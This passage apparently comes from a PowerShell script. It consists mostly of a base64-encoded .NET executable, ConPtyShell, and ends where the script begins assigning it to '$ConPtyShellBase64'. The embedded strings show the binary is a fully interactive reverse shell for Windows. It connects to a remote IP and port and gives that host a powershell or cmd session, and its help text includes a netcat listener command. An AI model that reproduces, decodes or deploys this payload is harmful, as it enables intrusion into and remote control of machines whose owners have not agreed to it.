XRGb3JTaW5nbGVPYmplY3QAU2V0U3RkSGFuZGxlAEdldFN0ZEhhbmRsZQBDbG9zZUhhbmRsZQBDcmVhdGVQaXBlAENyZWF0ZUZpbGUAUmVhZEZpbGUAV3JpdGVGaWxlAENyZWF0ZVBzZXVkb0NvbnNvbGUAQ2xvc2VQc2V1ZG9Db25zb2xlAFNldENvbnNvbGVNb2RlAEdldENvbnNvbGVNb2RlAEdldE1vZHVsZUhhbmRsZQBHZXRQcm9jQWRkcmVzcwBTeXN0ZW0uTmV0LlNvY2tldHMAU29ja2V0AENvbm5lY3RTb2NrZXQAVHJ5UGFyc2VSb3dzQ29sc0Zyb21Tb2NrZXQAQ3JlYXRlUGlwZXMASW5pdENvbnNvbGUARW5hYmxlVmlydHVhbFRlcm1pbmFsU2VxdWVuY2VQcm9jZXNzaW5nAENyZWF0ZVBzZXVkb0NvbnNvbGVXaXRoUGlwZXMAQ29uZmlndXJlUHJvY2Vzc1RocmVhZABSdW5Qcm9jZXNzAENyZWF0ZUNoaWxkUHJvY2Vzc1dpdGhQc2V1ZG9Db25zb2xlAFRocmVhZFJlYWRQaXBlV3JpdGVTb2NrZXQAU3lzdGVtLlRocmVhZGluZwBUaHJlYWQAU3RhcnRUaHJlYWRSZWFkUGlwZVdyaXRlU29ja2V0AFRocmVhZFJlYWRTb2NrZXRXcml0ZVBpcGUAU3RhcnRUaHJlYWRSZWFkU29ja2V0V3JpdGVQaXBlAFNwYXduQ29uUHR5U2hlbGwAU3RhcnR1cEluZm8AbHBBdHRyaWJ1dGVMaXN0AGNiAGxwUmVzZXJ2ZWQAbHBEZXNrdG9wAGxwVGl0bGUAZHdYAGR3WQBkd1hTaXplAGR3WVNpemUAZHdYQ291bnRDaGFycwBkd1lDb3VudENoYXJzAGR3RmlsbEF0dHJpYnV0ZQBkd0ZsYWdzAHdTaG93V2luZG93AGNiUmVzZXJ2ZWQyAGxwUmVzZXJ2ZWQyAGhTdGRJbnB1dABoU3RkT3V0cHV0AGhTdGRFcnJvcgBoUHJvY2VzcwBoVGhyZWFkAGR3UHJvY2Vzc0lkAGR3VGhyZWFkSWQAbkxlbmd0aABscFNlY3VyaXR5RGVzY3JpcHRvcgBiSW5oZXJpdEhhbmRsZQBYAFkAaGVscABIZWxwUmVxdWlyZWQAQ2hlY2tBcmdzAERpc3BsYXlIZWxwAENoZWNrUmVtb3RlSXBBcmcAQ2hlY2tJbnQAUGFyc2VSb3dzAFBhcnNlQ29scwBQYXJzZUNvbW1hbmRMaW5lAENvblB0eVNoZWxsTWFpbgBNYWluAC5jdG9yAFN5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcwBNYXJzaGFsQXNBdHRyaWJ1dGUAVW5tYW5hZ2VkVHlwZQBkd0F0dHJpYnV0ZUNvdW50AGxwU2l6ZQBhdHRyaWJ1dGUAbHBWYWx1ZQBjYlNpemUAbHBQcmV2aW91c1ZhbHVlAGxwUmV0dXJuU2l6ZQBscEFwcGxpY2F0aW9uTmFtZQBscENvbW1hbmRMaW5lAGxwUHJvY2Vzc0F0dHJpYnV0ZXMAbHBUaHJlYWRBdHRyaWJ1dGVzAGJJbmhlcml0SGFuZGxlcwBkd0NyZWF0aW9uRmxhZ3MAbHBFbnZpcm9ubWVudABscEN1cnJlbnREaXJlY3RvcnkAbHBTdGFydHVwSW5mbwBJbkF0dHJpYnV0ZQBscFByb2Nlc3NJbmZvcm1hdGlvbgBPdXRBdHRyaWJ1dGUAdUV4aXRDb2RlAGhIYW5kbGUAZHdNaWxsaXNlY29uZHMAblN0ZEhhbmRsZQBoT2JqZWN0AGhSZWFkUGlwZQBoV3JpdGVQaXBlAGxwUGlwZUF0dHJpYnV0ZXMAblNpemUAbHBGaWxlTmFtZQBkd0Rlc2lyZWRBY2Nlc3MAZHdTaGFyZU1vZGUAU2VjdXJpdHlBdHRyaWJ1dGVzAGR3Q3JlYXRpb25EaXNwb3NpdGlvbgBkd0ZsYWdzQW5kQXR0cmlidXRlcwBoVGVtcGxhdGVGaWxlAGhGaWxlAGxwQnVmZmVyAG5OdW1iZXJPZkJ5dGVzVG9SZWFkAGxwTnVtYmVyT2ZCeXRlc1JlYWQAbHBPdmVybGFwcGVkAG5OdW1iZXJPZkJ5dGVzVG9Xcml0ZQBscE51bWJlck9mQnl0ZXNXcml0dGVuAHNpemUAaElucHV0AGhPdXRwdXQAcGhQQwBoUEMAaENvbnNvbGVIYW5kbGUAbW9kZQBoYW5kbGUAbHBNb2R1bGVOYW1lAGhNb2R1bGUAcHJvY05hbWUAcmVtb3RlSXAAcmVtb3RlUG9ydABzaGVsbFNvY2tldAByb3dzAGNvbHMASW5wdXRQaXBlUmVhZABJbnB1dFBpcGVXcml0ZQBPdXRwdXRQaXBlUmVhZABPdXRwdXRQaXBlV3JpdGUAaGFuZGxlUHNldWRvQ29uc29sZQBDb25QdHlJbnB1dFBpcGVSZWFkAENvblB0eU91dHB1dFBpcGVXcml0ZQBhdHRyaWJ1dGVzAHNJbmZvRXgAY29tbWFuZExpbmUAdGhyZWFkUGFyYW1zAGhDaGlsZFByb2Nlc3MAcGFyYW0AYXJndW1lbnRzAGlwU3RyaW5nAGFyZwBhcmdzAFN5c3RlbS5SdW50aW1lLkNvbXBpbGVyU2VydmljZXMAQ29tcGlsYXRpb25SZWxheGF0aW9uc0F0dHJpYnV0ZQBSdW50aW1lQ29tcGF0aWJpbGl0eUF0dHJpYnV0ZQBEbGxJbXBvcnRBdHRyaWJ1dGUAa2VybmVsMzIuZGxsAGtlcm5lbDMyAFN5c3RlbS5OZXQASVBBZGRyZXNzAFBhcnNlAElQRW5kUG9pbnQARW5kUG9pbnQAQWRkcmVzc0ZhbWlseQBnZXRfQWRkcmVzc0ZhbWlseQBTb2NrZXRUeXBlAFByb3RvY29sVHlwZQBDb25uZWN0AGdldF9Db25uZWN0ZWQAU3lzdGVtLlRleHQARW5jb2RpbmcAZ2V0X0FTQ0lJAEdldEJ5dGVzAFNlbmQAU2xlZXAAZ2V0X0F2YWlsYWJsZQBCeXRlAFJlY2VpdmUAR2V0U3RyaW5nAENoYXIAU3RyaW5nAFNwbGl0AFRyaW0ASW50MzIAVHJ5UGFyc2UATWFyc2hhbABTaXplT2YASW50UHRyAFplcm8ASW52YWxpZE9wZXJhdGlvbkV4Y2VwdGlvbgBvcF9FcXVhbGl0eQBHZXRMYXN0V2luMzJFcnJvcgBDb25jYXQAQWxsb2NIR2xvYmFsAGdldF9TaXplAG9wX0V4cGxpY2l0AFNvY2tldEZsYWdzAFBhcmFtZXRlcml6ZWRUaHJlYWRTdGFydABTdGFydABUb1N0cmluZwBGb3JtYXQAQ29uc29sZQBXcml0ZUxpbmUAb3BfSW5lcXVhbGl0eQBBYm9ydABTb2NrZXRTaHV0ZG93bgBTaHV0ZG93bgBDbG9zZQBTdHJ1Y3RMYXlvdXRBdHRyaWJ1dGUATGF5b3V0S2luZABTeXN0ZW0uSU8AVGV4dFdyaXRlcgBnZXRfT3V0AFdyaXRlAEVudmlyb25tZW50AEV4aXQALmNjdG9yAAAAAEENAAoAQwBvAG4AUAB0AHkAUwBoAGUAbABsACAALQAgAEAAcwBwAGwAaQBuAHQAZQByAF8AYwBvAGQAZQANAAoAAT1DAG8AdQBsAGQAIABuAG8AdAAgAGMAcgBlAGEAdABlACAAdABoAGUAIABJAG4AcAB1AHQAUABpAHAAZQAAP0MAbwB1AGwAZAAgAG4AbwB0ACAAYwByAGUAYQB0AGUAIAB0AGgAZQAgAE8AdQB0AHAAdQB0AFAAaQBwAGUAAA9DAE8ATgBPAFUAVAAkAAANQwBPAE4ASQBOACQAADVDAG8AdQBsAGQAIABuAG8AdAAgAGcAZQB0ACAAYwBvAG4AcwBvAGwAZQAgAG0AbwBkAGUAAFlDAG8AdQBsAGQAIABuAG8AdAAgAGUAbgBhAGIAbABlACAAdgBpAHIAdAB1AGEAbAAgAHQAZQByAG0AaQBuAGEAbAAgAHAAcgBvAGMAZQBzAHMAaQBuAGcAAICBQwBvAHUAbABkACAAbgBvAHQAIABjAGEAbABjAHUAbABhAHQAZQAgAHQAaABlACAAbgB1AG0AYgBlAHIAIABvAGYAIABiAHkAdABlAHMAIABmAG8AcgAgAHQAaABlACAAYQB0AHQAcgBpAGIAdQB0AGUAIABsAGkAcwB0AC4AIAAAQ0MAbwB1AGwAZAAgAG4AbwB0ACAAcwBlAHQAIAB1AHAAIABhAHQAdAByAGkAYgB1AHQAZQAgAGwAaQBzAHQALgAgAABdQwBvAHUAbABkACAAbgBvAHQAIABzAGUAdAAgAHAAcwBlAHUAZABvAGMAbwBuAHMAbwBsAGUAIAB0AGgAcgBlAGEAZAAgAGEAdAB0AHIAaQBiAHUAdABlAC4AIAAANUMAbwB1AGwAZAAgAG4AbwB0ACAAYwByAGUAYQB0AGUAIABwAHIAbwBjAGUAcwBzAC4AIAAAAQBVewAwAH0AQwBvAHUAbABkACAAbgBvAHQAIABjAG8AbgBuAGUAYwB0ACAAdABvACAAaQBwACAAewAxAH0AIABvAG4AIABwAG8AcgB0ACAAewAyAH0AADl7AHsAewBDAG8AbgBQAHQAeQBTAGgAZQBsAGwARQB4AGMAZQBwAHQAaQBvAG4AfQB9AH0ADQAKAAARawBlAHIAbgBlAGwAMwAyAAAnQwByAGUAYQB0AGUAUABzAGUAdQBkAG8AQwBvAG4AcwBvAGwAZQAAgK8NAAoAQwByAGUAYQB0AGUAUABzAGUAdQBkAG8AQwBvAG4AcwBvAGwAZQAgAGYAdQBuAGMAdABpAG8AbgAgAG4AbwB0ACAAZgBvAHUAbgBkACEAIABTAHAAYQB3AG4AaQBuAGcAIABhACAAbgBlAHQAYwBhAHQALQBsAGkAawBlACAAaQBuAHQAZQByAGEAYwB0AGkAdgBlACAAcwBoAGUAbABsAC4ALgAuAA0ACgABgJsNAAoAQwByAGUAYQB0AGUAUABzAGUAdQBkAG8AQwBvAG4AcwBvAGwAZQAgAGYAdQBuAGMAdABpAG8AbgAgAGYAbwB1AG4AZAAhACAAUwBwAGEAdwBuAGkAbgBnACAAYQAgAGYAdQBsAGwAeQAgAGkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAHMAaABlAGwAbAAuAC4ALgANAAoAAGV7ADAAfQBDAG8AdQBsAGQAIABuAG8AdAAgAGMAcgBlAGEAdABlACAAcABzAHUAZQBkAG8AIABjAG8AbgBzAG8AbABlAC4AIABFAHIAcgBvAHIAIABDAG8AZABlACAAewAxAH0AADlDAG8AbgBQAHQAeQBTAGgAZQBsAGwAIABrAGkAbgBkAGwAeQAgAGUAeABpAHQAZQBkAC4ADQAKAAAFLQBoAAENLQAtAGgAZQBsAHAAAQUvAD8AAIC5DQAKAEMAbwBuAFAAdAB5AFMAaABlAGwAbAA6ACAATgBvAHQAIABlAG4AbwB1AGcAaAAgAGEAcgBnAHUAbQBlAG4AdABzAC4AIAAyACAAQQByAGcAdQBtAGUAbgB0AHMAIAByAGUAcQB1AGkAcgBlAGQALgAgAFUAcwBlACAALQAtAGgAZQBsAHAAIABmAG8AcgAgAGEAZABkAGkAdABpAG8AbgBhAGwAIABoAGUAbABwAC4ADQAKAAFXDQAKAEMAbwBuAFAAdAB5AFMAaABlAGwAbAA6ACAASQBuAHYAYQBsAGkAZAAgAHIAZQBtAG8AdABlAEkAcAAgAHYAYQBsAHUAZQAgAHsAMAB9AA0ACgAAVQ0ACgBDAG8AbgBQAHQAeQBTAGgAZQBsAGwAOgAgAEkAbgB2AGEAbABpAGQAIABpAG4AdABlAGcAZQByACAAdgBhAGwAdQBlACAAewAwAH0ADQAKAAAdcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlAACNpQ0ACgANAAoAQwBvAG4AUAB0AHkAUwBoAGUAbABsACAALQAgAEYAdQBsAGwAeQAgAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAFIAZQB2AGUAcgBzAGUAIABTAGgAZQBsAGwAIABmAG8AcgAgAFcAaQBuAGQAbwB3AHMAIAANAAoAQQB1AHQAaABvAHIAOgAgAHMAcABsAGkAbgB0AGUAcgBfAGMAbwBkAGUADQAKAEwAaQBjAGUAbgBzAGUAOgAgAE0ASQBUAA0ACgBTAG8AdQByAGMAZQA6ACAAaAB0AHQAcABzADoALwAvAGcAaQB0AGgAdQBiAC4AYwBvAG0ALwBhAG4AdABvAG4AaQBvAEMAbwBjAG8ALwBDAG8AbgBQAHQAeQBTAGgAZQBsAGwADQAKACAAIAAgACAADQAKAEMAbwBuAFAAdAB5AFMAaABlAGwAbAAgAC0AIABGAHUAbABsAHkAIABpAG4AdABlAHIAYQBjAHQAaQB2AGUAIAByAGUAdgBlAHIAcwBlACAAcwBoAGUAbABsACAAZgBvAHIAIABXAGkAbgBkAG8AdwBzAA0ACgANAAoAUAByAG8AcABlAHIAbAB5ACAAcwBlAHQAIAB0AGgAZQAgAHIAbwB3AHMAIABhAG4AZAAgAGMAbwBsAHMAIAB2AGEAbAB1AGUAcwAuACAAWQBvAHUAIABjAGEAbgAgAHIAZQB0AHIAaQBlAHYAZQAgAGkAdAAgAGYAcgBvAG0ADQAKAHkAbwB1AHIAIAB0AGUAcgBtAGkAbgBhAGwAIAB3AGkAdABoACAAdABoAGUAIABjAG8AbQBtAGEAbgBkACAAIgBzAHQAdAB5ACAAcwBpAHoAZQAiAC4ADQAKAA0ACgBZAG8AdQAgAGMAYQBuACAAYQB2AG8AaQBkACAAdABvACAAcwBlAHQAIAByAG8AdwBzACAAYQBuAGQAIABjAG8AbABzACAAdgBhAGwAdQBlAHMAIABpAGYAIAB5AG8AdQAgAHIAdQBuACAAeQBvAHUAcgAgAGwAaQBzAHQAZQBuAGUAcgANAAoAdwBpAHQAaAAgAHQAaABlACAAZgBvAGwAbABvAHcAaQBuAGcAIABjAG8AbQBtAGEAbgBkADoADQAKACAAIAAgACAAcwB0AHQAeQAgAHIAYQB3ACAALQBlAGMAaABvADsAIAAoAHMAdAB0AHkAIABzAGkAegBlADsAIABjAGEAdAApACAAfAAgAG4AYwAgAC0AbAB2AG4AcAAgADMAMAAwADEADQAKAA0ACgBJAGYAIAB5AG8AdQAgAHcAYQBuAHQAIAB0AG8AIABjAGgAYQBuAGcAZQAgAHQAaABlACAAYwBvAG4AcwBvAGwAZQAgAHMAaQB6AGUAIABkAGkAcgBlAGMAdABsAHkAIABmAHIAbwBtACAAcABvAHcAZQByAHMAaABlAGwAbAANAAoAeQBvAHUAIABjAGEAbgAgAHAAYQBzAHQAZQAgAHQAaABlACAAZgBvAGwAbABvAHcAaQBuAGcAIABjAG8AbQBtAGEAbgBkAHMAOgANAAoAIAAgACAAIAAkAHcAaQBkAHQAaAA9ADgAMAANAAoAIAAgACAAIAAkAGgAZQBpAGcAaAB0AD0AMgA0AA0ACgAgACAAIAAgACQASABvAHMAdAAuAFUASQAuAFIAYQB3AFUASQAuAEIAdQBmAGYAZQByAFMAaQB6AGUAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAE0AYQBuAGEAZwBlAG0AZQBuAHQALgBBAHUAdABvAG0AYQB0AGkAbwBuAC4ASABvAHMAdAAuAFMAaQB6AGUAIAAoACQAdwBpAGQAdABoACwAIAAkAGgAZQBpAGcAaAB0ACkADQAKACAAIAAgACAAJABIAG8AcwB0AC4AVQBJAC4AUgBhAHcAVQBJAC4AVwBpAG4AZABvAHcAUwBpAHoAZQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAE0AYQBuAGEAZwBlAG0AZQBuAHQALgBBAHUAdABvAG0AYQB0AGkAbwBuAC4ASABvAHMAdAAuAFMAaQB6AGUAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAKAAkAHcAaQBkAHQAaAAsACAAJABoAGUAaQBnAGgAdAApAA0ACgANAAoAVQBzAGEAZwBlADoADQAKACAAIAAgACAAQwBvAG4AUAB0AHkAUwBoAGUAbABsAC4AZQB4AGUAIAByAGUAbQBvAHQAZQBfAGkAcAAgAHIAZQBtAG8AdABlAF8AcABvAHIAdAAgAFsAcgBvAHcAcwBdACAAWwBjAG8AbABzAF0AIABbAGMAbwBtAG0AYQBuAGQAbABpAG4AZQBdAA0ACgANAAoAUABvAHMAaQB0AGkAbwBuAGEAbAAgAGEAcgBnAHUAbQBlAG4AdABzADoADQAKACAAIAAgACAAcgBlAG0AbwB0AGUAXwBpAHAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAVABoAGUAIAByAGUAbQBvAHQAZQAgAGkAcAAgAHQAbwAgAGMAbwBuAG4AZQBjAHQADQAKACAAIAAgACAAcgBlAG0AbwB0AGUAXwBwAG8AcgB0ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAVABoAGUAIAByAGUAbQBvAHQAZQAgAHAAbwByAHQAIAB0AG8AIABjAG8AbgBuAGUAYwB0AA0ACgAgACAAIAAgAFsAcgBvAHcAcwBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAbwB3AHMAIABzAGkAegBlACAAZgBvAHIAIAB0AGgAZQAgAGMAbwBuAHMAbwBsAGUADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAARABlAGYAYQB1AGwAdAA6ACAAIgAyADQAIgANAAoAIAAgACAAIABbAGMAbwBsAHMAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABDAG8AbABzACAAcwBpAHoAZQAgAGYAbwByACAAdABoAGUAIABjAG8AbgBzAG8AbABlAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEQAZQBmAGEAdQBsAHQAOgAgACIAOAAwACIADQAKACAAIAAgACAAWwBjAG8AbQBtAGEAbgBkAGwAaQBuAGUAXQAgACAAIAAgACAAIAAgACAAIAAgACAAVABoAGUAIABjAG8AbQBtAGEAbgBkAGwAaQBuAGUAIABvAGYAIAB0AGgAZQAgAHAAcgBvAGMAZQBzAHMAIAB0AGgAYQB0ACAAeQBvAHUAIABhAHIAZQAgAGcAbwBpAG4AZwAgAHQAbwAgAGkAbgB0AGUAcgBhAGMAdAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABEAGUAZgBhAHUAbAB0ADoAIAAiAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAiAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA0ACgBFAHgAYQBtAHAAbABlAHMAOgANAAoAIAAgACAAIABTAHAAYQB3AG4AIABhACAAcgBlAHYAZQByAHMAZQAgAHMAaABlAGwAbAANAAoAIAAgACAAIAAgACAAIAAgAEMAbwBuAFAAdAB5AFMAaABlAGwAbAAuAGUAeABlACAAMQAwAC4AMAAuADAALgAyACAAMwAwADAAMQANAAoAIAAgACAAIAANAAoAIAAgACAAIABTAHAAYQB3AG4AIABhACAAcgBlAHYAZQByAHMAZQAgAHMAaABlAGwAbAAgAHcAaQB0AGgAIABzAHAAZQBjAGkAZgBpAGMAIAByAG8AdwBzACAAYQBuAGQAIABjAG8AbABzACAAcwBpAHoAZQANAAoAIAAgACAAIAAgACAAIAAgAEMAbwBuAFAAdAB5AFMAaABlAGwAbAAuAGUAeABlACAAMQAwAC4AMAAuADAALgAyACAAMwAwADAAMQAgADMAMAAgADkAMAANAAoAIAAgACAAIAANAAoAIAAgACAAIABTAHAAYQB3AG4AIABhACAAcgBlAHYAZQByAHMAZQAgAHMAaABlAGwAbAAgACgAYwBtAGQALgBlAHgAZQApACAAdwBpAHQAaAAgAHMAcABlAGMAaQBmAGkAYwAgAHIAbwB3AHMAIABhAG4AZAAgAGMAbwBsAHMAIABzAGkAegBlAA0ACgAgACAAIAAgACAAIAAgACAAQwBvAG4AUAB0AHkAUwBoAGUAbABsAC4AZQB4AGUAIAAxADAALgAwAC4AMAAuADIAIAAzADAAMAAxACAAMwAwACAAOQAwACAAYwBtAGQALgBlAHgAZQANAAoADQAKAAHBzUVVnPMWTJ8eqZhoqFZFAAi3elxWGTTgiQIGDjh7AHsAewBDA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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUAAADAAAAPA6AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==" + $ConPtyShellBase64 = 